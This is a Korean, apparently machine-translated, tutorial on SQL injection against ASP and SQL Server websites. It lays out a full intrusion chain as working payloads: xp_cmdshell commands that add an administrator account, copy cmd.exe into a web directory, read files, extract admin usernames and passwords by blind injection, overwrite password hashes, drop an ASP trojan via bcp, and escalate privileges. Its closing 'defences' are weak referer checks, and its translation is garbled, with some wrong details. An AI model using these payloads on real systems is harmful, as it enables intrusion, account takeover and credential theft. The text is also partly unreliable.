SQL 삽입 정보

<2>SQL 주입 아이디어

아이디어가 가장 중요합니다. 사실 많은 사람들이 SQL이 무엇을 할 수 있는지 모르시나요? SQL 인젝션 침입에 대한 전반적인 아이디어를 요약하면 다음과 같다.

1. SQL 인젝션 취약점 판단, 즉 인젝션 지점 찾기

2. 백엔드 데이터베이스 결정 유형

3. 현재 데이터에 연결된 계정에 SA 권한이 있고 master.dbo.xp_cmdshell 확장 저장 프로시저가 있는 경우 XP_CMDSHELL의 실행 가능성을 결정합니다(운영 체제 셸을 직접 사용하여 이 저장 프로시저를 호출할 수 있음). 절차)가 올바르게 실행될 수 있으면 전체 컴퓨터가 여러 단계를 통해 실행될 수 있습니다. 이 방법으로 완전한 제어를 수행하면 전체 주입 프로세스가 완료됩니다. 그렇지 않으면 계속하십시오.

1. 웹 가상 디렉터리 검색

2. ASP 트로이목마 업로드

3 . 관리자 권한 획득

구체적인 단계:

1. SQL 주입 취약점 확인

이전에 주입 작업을 해본 적이 없다면 IE 메뉴 - 도구 - 인터넷 옵션 - 고급 - 친숙한 HTTP 오류 메시지 표시 앞의 확인란을 선택 취소하세요.

문제를 명확하게 설명하기 위해 다음에서는 /news.asp?id=xx(이 주소는 가상의 주소임)를 분석용 예로 사용합니다.

1. 정수 매개변수의 판단

입력 매개변수 xx가 정수인 경우 일반적으로 news.asp의 원래 SQL 문은 대략 다음과 같습니다.

필드 = xx인 테이블 이름에서 *를 선택하면 다음 단계를 사용하여 SQL 주입이 존재하는지 테스트할 수 있습니다.

가장 간단한 판단 방법

/news.asp?id=xx'(작은따옴표 추가),

이때 뉴스 속 SQL은 .asp 명령문은

select * from table name where field=xx'가 됩니다.

프로그램이 "'"를 제대로 필터링하지 않으면 news.asp가 비정상적으로 실행된다는 메시지가 표시됩니다. ; 하지만 이 방법은 매우 간단하지만 다음과 같은 이유로 최선은 아닙니다.

첫째, cint(매개 변수)가 추가되면 모든 서버의 IIS가 클라이언트에 특정 오류 메시지를 반환하는 것은 아닙니다. 프로그램에서 유사한 문을 사용하면 SQL 주입이 성공하지 못하지만 서버에서도 URL을 처리할 때 특정 프롬프트 정보에 오류가 있다고 보고합니다. 시스템 관리자에게 문의하세요.

둘째, 현재 대부분의 프로그래머는 "'"를 필터링하므로 " '"를 사용하면 주입 지점을 테스트할 수 없으므로 일반적으로 고전적인 1=1 및 1=2 테스트 방법이 사용됩니다. 아래를 참조하세요.

/news.asp?id=xx 및 1=1, news.asp가 정상적으로 실행되고,

실행 결과는 /news.asp?id=xx와 동일합니다;

p>

/news.asp?id=xx 및 1=2, news.asp가 비정상적으로 실행됩니다(이것은 고전적인 1=1 1=2 판단 방법입니다)

위 사항을 만족할 경우, news.asp에 SQL 인젝션 취약점이 존재하며, 그렇지 않은 경우 인젝션이 되지 않을 수 있습니다.

2. 문자열 매개변수 판단

방법은 기본적으로 숫자 매개변수와 동일

입력 매개변수 xx가 문자열인 경우, 대개 뉴스 .asp에 있는 SQL 문의 원래 모양은 대략 다음과 같습니다.

필드 = 'xx'인 테이블 이름에서 *를 선택하므로 다음 단계를 사용하여 SQL 주입이 존재하는지 테스트할 수 있습니다.

/news.asp?id=xx'(작은따옴표 추가)이면 news.asp의 SQL 문은

select * from table name where field = xx'가 됩니다. news.asp가 비정상적으로 실행됩니다.

/news.asp?id=xx 및 '1'='1', news.asp는 정상적으로 실행되며

/news와 다릅니다. asp?id=xx의 실행 결과는 동일합니다.

/news.asp?id=xx 및 '1'='2', news.asp는 비정상적으로 실행됩니다.

위 조건이 충족되면 news.asp에는 SQL 주입 취약점이 있으며 그렇지 않으면 주입할 수 없습니다.

3. 특수 상황 처리

때때로 ASP 프로그래머는 작은따옴표와 같은 문자를 필터링합니다. SQL 주입을 방지하기 위해. 이때 다음과 같은 방법을 시도해 볼 수 있습니다.

① 대소문자 혼합 방식: VBS는 대소문자를 구분하지 않기 때문에 프로그래머는 일반적으로 필터링할 때 모든 대문자 문자열 또는 모든 소문자 문자열을 필터링하며, 대소문자 혼합은 종종 무시됩니다. 예를 들어 select, SELECT 등 대신 SelectT를 사용합니다.

②UNICODE 방법: IIS에서는 UNICODE 문자 집합을 사용하여 IE에서 입력한 문자열을 UNICODE 문자열로 완전히 변환할 수 있습니다. 입력용. 예를 들어 + =%2B, 공백 =%20 등 URLEncode 정보는 부록 1을 참조하세요.

③ASCII 코딩 방법: 일부 또는 전체 문자를 입력할 수 있습니다. <4>아웃 위의 방법 외에도 NB Alliance의 NBSI와 같이 기성 도구를 사용하는 더 간단한 방법이 있는데 최신 버전은 2.2입니다.

2. 데이터베이스 유형 결정

데이터베이스마다 기능과 주입 방법이 다르므로 주입하기 전에 데이터베이스 유형을 결정해야 합니다. 일반적으로 ASP에 가장 일반적으로 사용되는 데이터베이스는 Access와 SQL Server이며 인터넷 웹 사이트의 99% 이상이 그중 하나입니다.

프로그램이 어떤 데이터베이스를 사용하는지 알려 주려면 어떻게 해야 합니까? 살펴보겠습니다.

SQLServer에는 일부 시스템 변수가 있습니다. 서버 IIS 프롬프트가 닫히지 않고 SQLServer가 오류 프롬프트를 반환하는 경우 오류 메시지에서 직접 확인할 수 있습니다.

/ news.asp?id=xx;and user>0

이 명령문은 매우 간단하지만 SQLServer 고유의 주입 방법의 핵심을 담고 있습니다. 나 역시 이것이 매우 효율적이라고 생각했습니다. 의도하지 않은 테스트에서 높은 추측 방법. 그 의미를 살펴보겠습니다. 우선 이전 문은 정상이고 초점은 user>0입니다. user는 SQL Server의 내장 변수이고 그 값은 현재의 사용자 이름입니다. 연결의 경우 유형은 nvarchar 입니다. nvarchar 값을 int 값 0과 비교합니다. 시스템은 먼저 nvarchar 값을 int 유형으로 변환하려고 시도합니다. 물론 변환 프로세스 중에 SQL Server의 오류 메시지는 다음과 같습니다. 데이터 유형에 "abc" 값을 지정합니다. int 열인 경우 구문 오류가 발생합니다. 하하, abc는 user 변수의 값입니다. 이렇게 하면 데이터베이스의 사용자 이름을 쉽게 얻을 수 있습니다. 다음 페이지에서는 이 방법을 사용하는 많은 명령문을 볼 수 있습니다. 그런데 우리 모두 알고 있듯이 SQL Server 사용자 sa는 관리자와 동일한 권한을 가진 역할입니다. sa 권한을 얻으면 거의 확실하게 호스트의 관리자를 얻을 수 있습니다. 위의 방법을 사용하면 sa로 로그인하고 있는지 쉽게 테스트할 수 있습니다. sa로 로그인하는 경우 프롬프트는 "sa"가 아닌 "dbo"를 int 열로 변환하는 중에 오류가 발생한다는 점에 유의해야 합니다.

서버 IIS가 오류 프롬프트 반환을 허용하지 않는 경우 데이터베이스 유형을 어떻게 결정합니까? 먼저 Access와 SQLServer의 차이점부터 살펴보겠습니다. Access와 SQLServer는 모두 데이터베이스의 모든 개체를 저장하는 테이블과 같은 자체 시스템 테이블을 가지고 있지만 웹에서 이 테이블을 읽을 때는 액세스가 시스템 테이블에 있습니다. 환경에서는 "권한 없음"이라는 메시지가 표시되고 SQLServer는 [sysobjects] 테이블에 있으며 웹 환경에서 정상적으로 읽을 수 있습니다.

주입 가능함을 확인한 후 다음 명령문을 사용하십시오:

/news.asp?id=xx ;and (select count(*) from sysobjects)>0

/news.asp?id=xx ;and (sysobjects에서 count(*) 선택)>0

p>

/news.asp?id=xx ;and (선택 count(*) from msysobjects)>0

데이터베이스가 SQLServer인 경우 첫 번째 URL의 페이지는 원래 페이지와 동일합니다. /news .asp?id=xx는 대략 동일합니다. 두 번째 URL은 msysobjects 테이블을 찾을 수 없기 때문에 오류 메시지가 표시됩니다. 프로그램에 내결함성 처리가 있더라도 페이지는 원본 페이지와 완전히 다릅니다.

데이터베이스가 Access를 사용하는 경우 상황은 다릅니다. 첫 번째 URL의 페이지는 원래 페이지와 완전히 다릅니다. 일반적으로 데이터베이스 설정에서 시스템 테이블 읽기를 허용하는지 여부에 따라 다릅니다. 말하자면, 허용되지 않으므로 원래 URL과 전혀 다릅니다. 대부분의 경우 첫 번째 URL을 사용하면 시스템에서 사용하는 데이터베이스 유형을 알 수 있으며 두 번째 URL은 IIS 오류 프롬프트를 켤 때 확인에만 사용됩니다.

3. XP_CMDSHELL 실행 가능성 확인

현재 데이터에 연결된 계정에 SA 권한이 있고 master.dbo.xp_cmdshell 확장 저장 프로시저(이 저장 프로시저를 호출할 수 있음) 운영 체제 쉘을 사용하여 직접)을 올바르게 실행할 수 있으며 다음 방법을 통해 전체 컴퓨터를 완전히 제어할 수 있으며 모든 후속 단계를 저장할 수 있습니다.

1. /news.asp?id=xx 및 사용자 >;0 뉴스. ASP가 비정상적으로 실행되지만 현재 데이터베이스에 연결된 사용자 이름을 가져올 수 있습니다(dbo가 표시되면 SA를 나타냄).

2. /news.asp?id=xx 및 db_name()>0 news.asp가 비정상적으로 실행되지만 현재 연결된 데이터베이스 이름을 가져올 수 있습니다.

3. /news.asp?id=xx; exec master..xp_cmdshell “net user aaa bbb /add” -- (master는 SQL-SERVER의 마스터 데이터 라이브러리입니다.

;이름의 세미콜론은 SQL-SERVER가 세미콜론 앞의 명령문 이름 실행을 완료하고 그 뒤에 오는 명령문을 계속 실행함을 나타냅니다. "—" 기호는 그 뒤의 모든 내용이 주석일 뿐임을 나타냅니다. 시스템에서 실행되지 않습니다) 운영 체제 계정 aaa를 직접 추가할 수 있으며 비밀번호는 bbb입니다.

4. /news.asp?id=xx; exec master..xp_cmdshell "net localgroup Administrators aaa /add" -- 방금 추가한 aaa 계정을 관리자 그룹에 추가하세요. 가운데.

5. /news.asp?id=xx; 데이터베이스 데이터베이스 이름을 disk='c:\inetpub\wwwroot\save.db'로 백업하면 데이터 콘텐츠를 가져옵니다.

뒤로 모든 것을 WEB 디렉토리에 올린 다음 HTTP를 사용하여 파일을 다운로드합니다(물론 WEB 가상 디렉토리를 먼저 알아야 합니다).

6. CMD를 복사하여 UNICODE 취약점 생성

/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe

c:\inetpub\scripts\cmd.exe"는 UNICODE 취약점을 생성합니다. 이 취약점을 악용함으로써 전체 컴퓨터에 대한 제어가 완료됩니다(물론 WEB 가상 디렉터리를 아는 것이 최우선입니다).

이렇게 하면 SQL 주입 공격이 성공적으로 완료되었습니다. 아직 너무 흥분하지 마세요. 실제로는 이론보다 훨씬 더 어려운 일이 기다리고 있을 것입니다. 아래로 GO ON 위의 조건이 충족되지 않으면 계속해서 분투해야 합니다(말을 잃게 됩니다 :))

GO ON~!

위의 조건이 충족되지 않으면 다음 단계를 계속해야 합니다.

(1) WEB 가상 디렉터리 검색

WEB 가상 디렉터리를 찾아야만 위치를 확인할 수 있습니다. ASP 트로이 목마를 제거하고 USER 권한을 얻습니다. 더 효과적인 두 가지 방법이 있습니다.

먼저 경험을 바탕으로 추측해 보겠습니다. 일반적으로 WEB 가상 디렉터리는 c:\inetpub\wwwroot;

D:\inetpub\wwwroot; 등이며 실행 가능한 가상 디렉터리는

c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts 등입니다.

두 번째는 시스템의 디렉터리 구조를 탐색하고 결과를 분석하여 WEB 가상 디렉터리를 검색하는 것입니다.

먼저 임시 테이블을 만듭니다.

/news.asp?id =xx;테이블 만들기 임시(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

nvarchar(255));--

다음 :

1 xp_availablemedia를 사용하여 모든 현재 드라이브를 가져와 임시 테이블에 저장할 수 있습니다:

/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia ;--

temp의 내용을 쿼리하여 드라이브 목록 및 관련 정보를 얻을 수 있습니다.

2 xp_subdirs를 사용하여 하위 디렉터리 목록을 가져와 저장할 수 있습니다 임시 테이블에서:

p>

/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

3 xp_dirtree를 사용하여 모든 하위 디렉토리를 얻을 수도 있습니다. 디렉토리의 디렉토리 트리 구조를 임시 테이블에 삽입합니다:

/news.asp?id=xx;insert into temp(id, num1) exec master.dbo.xp_dirtree 'c:\';- -

이 방법으로 모든 디렉터리(폴더) 목록을 성공적으로 탐색할 수 있습니다.

필요한 경우 특정 파일의 내용을 보려면 xp_cmdsell을 실행할 수 있습니다:

/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index. asp';--

임시 테이블에 텍스트 파일을 삽입하려면 '대량 삽입' 구문을 사용하세요.

예: 'c:\inetpub\wwwroot\index.asp'에서 temp(id) 대량 삽입

temp를 검색하면 index.asp 파일의 내용을 볼 수 있습니다! 다양한 ASP 파일을 분석하여 대량의 시스템 정보, WEB 구축 및 관리 정보, SA 계정의 접속 비밀번호까지 알아낼 수 있습니다.

물론, xp_cmshell을 실행할 수 있다면 이를 사용하여 완료할 수 있습니다:

/news.asp?id=xx;insert into temp(id) exec master.dbo. xp_cmdshell ' dir c:\';--

/news.asp?id=xx;temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a에 삽입 '; --

xp_cmdshell을 통해 W3svc를 포함하여 보고 싶은 모든 것을 볼 수 있습니다.

/news.asp?id=xx;insert into temp(id) exec master.dbo . xp_cmdshell 'cscript

C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

그러나 SA 권한이 아닌 경우

/news .asp?id=xx;temp(id,num1)에 삽입 exec master.dbo.xp_dirtree 'c:\';--

참고:

1. 위의 작업이 완료될 때마다 TEMP의 모든 내용을 삭제해야 합니다. 삭제 방법은 다음과 같습니다:

/news.asp?id=xx;delete from temp;--

2. Browse TEMP 테이블 방법은 다음과 같습니다. (TestDB가 현재 연결된 데이터베이스의 이름이라고 가정)

/news.asp?id=xx 및 (TestDB.dbo.temp에서 상위 1개의 ID 선택) >0

TEMP 테이블의 첫 번째 레코드의 id 필드 값을 가져와서 정수와 비교합니다. 분명히 news.asp는 비정상적으로 작동하지만 id 필드의 값은 예외. 검색된 테이블 이름이 xyz라고 가정하고

/news.asp?id=xx 및 (TestDB.dbo.temp에서 상위 1개 ID 선택)>0 여기서 ID는 ('xyz')에 없음) > 0

TEMP 테이블에 있는 두 번째 레코드의 id 필드 값을 가져옵니다.

(2) ASP 트로이목마 업로드

소위 ASP 트로이목마는 특별한 기능을 가진 ASP 코드 조각으로 원격 고객이 사용할 수 있는 웹 가상 디렉터리의 스크립트 아래에 위치합니다. IE는 이를 실행하여 시스템의 사용자 권한을 얻고 시스템에 대한 사전 제어권을 얻습니다. 일반적으로 ASP 트로이 목마를 업로드하는 데에는 두 가지 더 효과적인 방법이 있습니다.

1. 웹의 원격 관리 기능을 사용합니다.

많은 웹 사이트는 유지 관리의 편의를 위해 원격 관리 기능을 제공합니다. 또한 사용자마다 콘텐츠에 대한 액세스 권한이 다른 많은 웹 사이트도 있습니다. 사용자 권한을 제어하기 위해 사용자 이름과 비밀번호를 요구하는 웹 페이지가 있습니다. 올바른 값을 입력해야만 파일 업로드 및 다운로드, 디렉토리 등 웹 관리를 실현할 수 있는 다음 단계가 수행될 수 있습니다. 탐색 및 구성 등.

따라서 올바른 사용자 이름과 비밀번호를 얻으면 ASP 트로이 목마를 업로드할 수 있을 뿐만 아니라 때로는 시스템을 탐색할 수 있는 USER 권한을 직접 얻을 수도 있습니다. "WEB 가상 디렉터리 검색"이라는 복잡한 작업이 필요합니다. " 이전 단계에서는 생략 가능합니다. .

사용자 이름과 비밀번호는 일반적으로 테이블에 저장됩니다. 이 테이블을 찾아서 그 내용을 읽으면 문제가 해결됩니다. 아래에는 두 가지 효과적인 방법이 나와 있습니다.

A. 삽입 방법:

이론적으로 인증 웹 페이지는 다음과 같은 형식을 갖습니다:

사용자 이름='XXX'에서 admin에서 *를 선택하고 Password='YYY' 문에 대해 이 문을 공식적으로 실행하기 전에 필요한 문자 필터링을 수행하지 않으면 SQL 주입을 구현하기 쉽습니다.

abc' 또는 1=1-- 사용자 이름 텍스트 상자에: 비밀번호 상자에 123을 입력하면 SQL 문은 다음과 같습니다.

select * from admin where username ='abc' 또는 1=1 및 비밀번호='123'

사용자가 어떤 사용자 이름과 비밀번호를 입력하더라도 이 명령문은 항상 올바르게 실행되며 사용자는 쉽게 시스템을 속이고 얻을 수 있습니다. 법적 신분.

B. 추측 방법:

기본 개념은 모든 데이터베이스 이름을 추측하고, 데이터베이스의 각 테이블 이름을 추측하고, 사용자 이름과 정보가 저장될 수 있는 테이블 이름을 분석하는 것입니다. , 테이블의 각 필드 이름을 추측하고 테이블의 각 레코드 내용을 추측합니다.

a 모든 데이터베이스 이름 추측

/news.asp?id=xx 및 (name>1 및 dbid=6인 master.dbo.sysdatabases에서 count(*) 선택) < >0

dbid 값의 범위는 1부터 5까지이므로 시스템에서 사용됩니다. 따라서 사용자가 만든 것은 6부터 시작해야 합니다. 그리고 name>1을 제출했는데(이름 필드는 문자 필드이고 숫자와 비교하면 오류가 발생함) news.asp가 비정상적으로 작동하고 첫 번째 데이터베이스 이름을 얻을 수 있습니다. 마찬가지로 DBID를 7, 8, 9로 변경합니다. 각각 10,11,12...는 모든 데이터베이스 이름을 얻을 수 있습니다.

다음은 획득한 데이터베이스 이름이 TestDB라고 가정합니다.

b 데이터베이스에 있는 사용자 이름 테이블의 이름을 추측합니다.

추측 방법: 이 방법은 일반적으로 개인적인 경험을 바탕으로 테이블 이름을 추측하는 것입니다.

사용자, 사용자, 회원, 회원, userlist, 회원 목록, userinfo, 관리자, 관리자, adminuser, systemuser,

systemusers, sysuser, sysusers, sysaccounts, systemaccounts 등 그리고 명령문을 통해 판단합니다.

/news.asp?id=xx 및 (TestDB.dbo.table 이름에서 count(*) 선택)>0 테이블 이름이 있으면 news.asp는 정상적으로 작동하고 그렇지 않으면 비정상입니다. . 이 주기는 시스템 계정 테이블의 이름을 추측할 때까지 계속됩니다.

읽기 방법: SQL-SERVER에는 핵심 시스템 정보를 저장하는 sysobjects 테이블이 있으며, 이 테이블에는 라이브러리에 대한 모든 테이블, 뷰 및 기타 정보가 저장되며 이 테이블은 WEB을 통해 액세스할 수 있습니다.

xtype='U', status>0이 사용자가 생성한 테이블을 나타낼 때 생성된 각 사용자의 테이블과 이름을 찾아 분석하면 사용자 이름 테이블의 이름을 알 수 있다. 기본 구현 방법은 다음과 같습니다.

①/news.asp?id=xx 및 (xtype='U' 및 status>0 인 TestDB.dbo.sysobjects에서 상위 1개 이름 선택)>0

첫 번째 가져오기 사용자가 테이블 이름을 생성하고 이를 정수와 비교합니다. 분명히 news.asp가 비정상적으로 작동하지만 예외에서 테이블 이름을 찾을 수 있습니다.

검색된 테이블 이름이 xyz라고 가정하고

②/news.asp?id=xx 및 (TestDB.dbo.sysobjects에서 상위 1개 이름 선택, 여기서 xtype='U' 및 status>0 및

p>

name not in('xyz'))>0 두 번째 사용자가 생성한 테이블의 이름을 얻을 수 있습니다. 동일한 방법으로 사용자가 생성한 모든 테이블의 이름을 얻을 수 있습니다.

일반적으로 테이블 이름에 따라 사용자 이름과 비밀번호가 저장되는 테이블을 결정할 수 있습니다. 아래에서는 이 테이블의 이름이 Admin이라고 가정합니다.

c 사용자 이름 필드와 비밀번호 필드의 이름을 추측하세요.

이 두 필드의 이름을 가져와야 관리 테이블에 사용자 이름 필드와 비밀번호 필드가 있어야 합니다. 이 두 필드의 내용을 얻을 수 있습니다. 이름을 얻는 방법에는 다음 두 가지 방법도 있습니다.

추측 방법: 이 방법은 개인적인 경험을 바탕으로 필드 이름을 추측하는 방법입니다. 일반적으로 사용자 이름 필드의 이름은 사용자 이름, 이름, 사용자, 계정 등이 일반적으로 사용됩니다. 비밀번호 필드 이름은 일반적으로 사용됩니다(password, pass, pwd, passwd 등). 그리고 문장을 통해 판단합니다

/news.asp?id=xx 및 (TestDB.dbo.admin에서 count(필드 이름) 선택)>0 "테이블 이름에서 count(필드 이름) 선택"

문은 테이블의 행 수를 가져오므로 필드 이름이 있으면 news.asp가 정상적으로 작동하고 그렇지 않으면 비정상입니다. 이 주기는 두 필드의 이름이 추측될 때까지 계속됩니다.

읽기 방법: 기본 구현 방법은

/news.asp?id=xx 및 TestDB에서 (상위 1 col_name(object_id('admin'),1) 선택)입니다. dbo .sysobjects)>0.

TestDB.dbo.sysobjects에서 top 1 col_name(object_id('admin'),1)을 선택하면 sysobjects에서 얻은 알려진 테이블 이름의 첫 번째 필드 이름이 정수와 비교되면 분명히 news입니다. ASP가 비정상적으로 작동하지만 예외에서 필드 이름을 찾을 수 있습니다. 모든 필드 이름을 얻으려면 col_name(object_id('admin'),1)의 1을 2, 3, 4, 5, 6...으로 바꾸십시오.

d 사용자 이름 및 비밀번호 추측

사용자 이름과 비밀번호를 추측하는 가장 일반적이고 효과적인 방법은 다음과 같습니다.

ASCII 코드 단어 대 단어 디코딩 방법:그러나 이 방법은 속도가 느리므로 확실히 실현 가능합니다. 기본 아이디어는 먼저 필드의 길이를 추측한 다음 각 비트의 값을 차례로 추측하는 것입니다. 사용자 이름을 추측하는 방법은 비밀번호를 추측하는 방법과 동일합니다. 다음에서는 사용자 이름 추측을 예로 들어 프로세스를 설명합니다.

/news.asp?id=xx 및 (TestDB.dbo.admin에서 상위 1개의 len(사용자 이름) 선택)=X(X=1,2,3,4,5,… n,사용자 이름

는 사용자 이름 필드의 이름이고, admin은 테이블의 이름입니다. x가 특정 값 i이고 news.asp가 정상적으로 실행 중이면 i는 첫 번째 사용자 이름의 길이입니다. .

예:

/news.asp?id=xx 및 (TestDB.dbo.admin에서 상위 1개 len(사용자 이름) 선택)=8을 입력하면 news.asp가 정상적으로 실행되고 첫 번째 사용자 이름은 길이는 8

/news.asp?id=xx이고 (TestDB.dbo.admin에서 상위 1개 ascii(substring(username,m,1)) 선택)=n(m 값은 1입니다. 이전 단계에서 얻은 사용자 이름의 길이 중에서 m=1, 2, 3,...일 때 각각 1, 2, 3,...비트의 값을 추측하면 n의 값은 1~9입니다. , a~z, A ~Z의 ASCII 값은 1에서 128 사이의 값입니다. admin은 시스템 사용자 계정 테이블의 이름입니다. n이 특정 값 i이고 news.asp가 정상적으로 실행 중인 경우 ASCII 코드입니다. i에 해당하는 것은 사용자 이름입니다. 예:

/news.asp?id=xx 및 (Select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80을 입력하면 news.asp가 실행됩니다. 일반적으로 사용자 이름의 세 번째 숫자는 P(P의 ASCII는 80)입니다. /news.asp?id=xx 및 (TestDB.dbo에서 상위 1개 ascii(substring(username,9,1) 선택))입니다. admin)= 33:00에 news.asp가 정상적으로 실행되면 사용자 이름의 9번째 숫자는 !입니다(!의 ASCII는 80입니다). 같은 방식으로 다른 모든 사용자 이름과 비밀번호도 추측됩니다. 짐작할 수 있다. 참고: 획득한 비밀번호는 MD5 또는 기타 방법으로 암호화된 정보일 수 있으며 이를 해독하려면 특수 도구를 사용해야 합니다. 또는 먼저 비밀번호를 변경한 다음 사용 후 다시 변경하세요. 아래 지침을 참조하세요. 간단한 방법: /news.asp?id=xx를 사용하여 사용자 이름을 추측하고 (사용자 이름>1인 TestDB.dbo.admin에서 상위 1개 플래그 선택) 플래그는 관리 테이블의 필드이고 사용자 이름은 사용자 이름 필드입니다. 시간 news.asp가 비정상적으로 작동하지만 Username 값을 얻을 수 있습니다. 위와 같은 방법으로 테이블의 모든 사용자 이름을 얻을 때까지 두 번째 사용자 이름, 세 번째 사용자 등을 얻을 수 있습니다.

사용자 비밀번호 추측: /news.asp?id=xx 및 (TestDB.dbo.admin에서 상위 1 플래그 선택, 여기서 pwd>1), 플래그는 관리 테이블의 필드이고, pwd는 비밀번호입니다. field 의 경우 현재 news.asp가 비정상적으로 작동하지만 pwd 값을 얻을 수 있습니다. 위와 같은 방법으로 두 번째 사용자 이름의 비밀번호, 세 번째 사용자의 비밀번호 등을 테이블에 있는 모든 사용자의 비밀번호가 나올 때까지 알아낼 수 있습니다. 비밀번호는 MD5로 암호화되는 경우가 있으며 변경할 수 있습니다.

/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- (MD5 값 1은 AABBBBCCDDDEEEF입니다. 즉, 비밀번호를 1로 변경합니다. www는 알려진 사용자 이름입니다. 물론 동일한 방법을 사용하여 비밀번호를 원래 값으로 변경할 수 있습니다.

2. 테이블 내용을 파일로 내보내는 기능 사용

SQL에는 테이블 내용을 텍스트 파일로 내보내고 지정된 위치에 배치할 수 있는 BCP 명령이 있습니다. . 이 기능을 사용하면 먼저 임시 테이블을 만든 다음 테이블에 ASP 트로이 목마를 한 줄씩 입력한 다음 BCP 명령을 사용하여 내보내 ASP 파일을 만들 수 있습니다.

명령줄 형식은 다음과 같습니다:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar

('S' 매개변수는 쿼리를 실행하는 서버, 'U' 매개변수는 사용자 이름, 'P' 매개변수는 비밀번호입니다. 마지막으로 a 163. asp 트로이 목마가 업로드됨)

3. NBSI에서 제공하는 일부 참조 데이터의 가장 중요한 테이블 이름과 같은 도구를 사용합니다.

sysobjects에서 * 선택

sysobjects ncsysobjects

sysindexes tsysindexes

syscolumns

systypes

sysusers

sysdatabases

sysxlogins

sysprocesses

가장 중요한 사용자 이름 중 일부(기본 SQL 데이터베이스에 존재)

public

dbo

guest(일반적으로 금지되거나 권한 없음)

db_sercurityadmin

ab_dlladmin

일부 기본 확장

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues ​​​​

xp_regread

xp_regremovemultistring

xp_regwrite

xp_availablemedia 드라이버 관련

xp_dirtree 디렉터리

xp_enumdsn ODBC 연결

xp_loginconfig 서버 보안 모드 정보

xp_makecab은 압축된 볼륨을 생성합니다

xp_ntsec_enumdomains 도메인 정보

xp_terminate_process 터미널 프로세스, PID 제공

(3) 시스템 관리자 권한 획득

p>

ASP 트로이목마는 사용자 권한만 가지고 있습니다. 시스템에 대한 완전한 제어권을 얻으려면 시스템에 대한 관리자 권한도 필요합니다. 무엇을 해야 할까요? 권한을 높이는 방법은 여러 가지가 있습니다.

트로이 목마를 업로드하고 부팅 시 자동으로 실행되는 .ini 파일을 수정합니다(다시 시작하자마자 종료됩니다). CMD.exe를 스크립트에 추가하고 UNICODE 취약점을 인위적으로 생성합니다.

SAM 파일을 다운로드하고 OS의 모든 사용자 이름과 비밀번호를 알아냅니다.

특정 조건에 따라 기다립니다. 시스템에서는 다양한 방법을 채택할 수 있습니다.

그렇다면 주사를 예방하려면 어떻게 해야 할까요? 프로그램은 다음과 같이 asp, html, php, cgi에 추가할 수 있습니다. 테스트되었습니다.

top.asp 파일의 시작 부분 추가 ​​

방법 1:

<%if session("username"="" or session("userkey"="" then

response.redirect "../../"

end if%>

(참고: 사용자 삽입이 있는 한 ../ ../ 디렉토리, 하하, 어떻게 주입하는지 봅시다)

방법 2:

<%

server_v1=Cstr(Request.ServerVariables( "HTTP_REFERER")

p>

server_v2=Cstr(Request.ServerVariables("SERVER_NAME")

if mid(server_v1,8,len(server_v2))<>server_v2 다음

p>

response.write "

"

response.write "< tr>

"

response.write "제출한 경로가 잘못되었습니다. 사이트 외부에서 데이터를 제출하는 것은 금지되어 있습니다. 이 매개변수를 건드리지 마세요. !"

response.write "

response.write " td>

"

response.end

end if

%>

(참고: 사용자 삽입이 있는 한 외부 연결로 판단됩니다. 하하, 어떻게 하느냐에 따라 다릅니다. 당신이 그것을 나에게 주입합니다)

방법 3:

<% 희미한 From_url,Serv_url

From_url = Cstr(Request.ServerVariables("HTTP_REFERER")

p>

Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")

if mid(From_url,8,len( Serv_url)) <> Serv_url then

response.write "아니요"

response.redirect("../"

response.end

end if%>

上篇: 챔피언 스피드 리프트 호스트 배선. 下篇: 보조 은행에 방사선이 있나요?
관련 내용